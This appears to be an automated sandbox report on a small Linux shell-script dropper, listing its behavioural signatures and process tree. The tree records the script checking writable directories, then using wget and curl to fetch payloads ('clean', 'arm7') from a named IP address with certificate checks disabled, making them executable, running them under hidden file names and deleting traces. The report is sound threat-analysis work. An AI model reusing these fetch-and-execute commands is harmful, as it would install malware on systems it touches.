Analysis

  • max time kernel
    42s
  • max time network
    43s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/06/2026, 23:25

General

  • Target
    sh
  • Size 2KB
  • Sample260620-3ebywsbs4w
  • SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:651
      • /bin/grep
        grep noexec
        2⤵
          PID:662
        • /bin/cat
          cat /proc/mounts
          2⤵
          • Reads runtime system information
          PID:661
        • /usr/bin/awk
          awk "{print \$2}"
          2⤵
            PID:663
          • /usr/bin/whoami
            whoami
            2⤵
              PID:677
            • /usr/bin/find
              find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
              2⤵
              • Reads network interface configuration
              • Reads CPU attributes
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:680
            • /bin/uname
              uname -mp
              2⤵
                PID:766
              • /usr/bin/tr
                tr -d " "
                2⤵
                  PID:771
                • /usr/bin/od
                  od -An -N2 -i /dev/urandom
                  2⤵
                    PID:770
                  • /usr/bin/expr
                    expr 19718 "%" 32 + 4
                    2⤵
                      PID:773
                    • /usr/bin/tr
                      tr -dc A-Za-z0-9
                      2⤵
                        PID:776
                      • /usr/bin/openssl
                        openssl rand -base64 256
                        2⤵
                          PID:775
                        • /usr/bin/head
                          head -c 10
                          2⤵
                            PID:777
                          • /usr/bin/touch
                            touch .testfile
                            2⤵
                              PID:778
                            • /bin/dd
                              dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                              2⤵
                                PID:780
                              • /bin/rm
                                rm -rf .testfile .testfile2
                                2⤵
                                  PID:781
                                • /bin/rm
                                  rm -rf clean
                                  2⤵
                                    PID:782
                                  • /usr/bin/wget
                                    wget --no-check-certificate -q https://217.60.195.113/clean
                                    2⤵
                                      PID:783
                                    • /usr/bin/curl
                                      curl -skO https://217.60.195.113/clean
                                      2⤵
                                      • Checks CPU configuration
                                      PID:784
                                    • /bin/chmod
                                      chmod +x clean
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:787
                                    • /bin/sh
                                      sh clean
                                      2⤵
                                        PID:788
                                      • /bin/rm
                                        rm -rf clean
                                        2⤵
                                          PID:789
                                        • /bin/rm
                                          rm -rf .redtail
                                          2⤵
                                            PID:790
                                          • /bin/rm
                                            rm -rf .lW6q4UXTpJ
                                            2⤵
                                              PID:791
                                            • /bin/grep
                                              grep -q x86_64
                                              2⤵
                                                PID:793
                                              • /bin/grep
                                                grep -q amd64
                                                2⤵
                                                  PID:795
                                                • /bin/grep
                                                  grep -q "i[3456]86"
                                                  2⤵
                                                    PID:797
                                                  • /bin/grep
                                                    grep -q armv8
                                                    2⤵
                                                      PID:799
                                                    • /bin/grep
                                                      grep -q aarch64
                                                      2⤵
                                                        PID:801
                                                      • /bin/grep
                                                        grep -q armv7
                                                        2⤵
                                                          PID:803
                                                        • /bin/rm
                                                          rm -rf arm7
                                                          2⤵
                                                            PID:804
                                                          • /usr/bin/wget
                                                            wget --no-check-certificate -q https://217.60.195.113/arm7
                                                            2⤵
                                                              PID:805
                                                            • /usr/bin/curl
                                                              curl -skO https://217.60.195.113/arm7
                                                              2⤵
                                                              • Checks CPU configuration
                                                              PID:811
                                                            • /bin/mv
                                                              mv arm7 .lW6q4UXTpJ
                                                              2⤵
                                                                PID:812
                                                              • /bin/chmod
                                                                chmod +x .lW6q4UXTpJ
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:813
                                                              • /.lW6q4UXTpJ
                                                                ./.lW6q4UXTpJ
                                                                2⤵
                                                                  PID:814

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    .testfile2

                                                                    • Path /.testfile2
                                                                    • Size 2.0MB
                                                                    • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                    • MD5 SHA1 SHA512 SSDEEP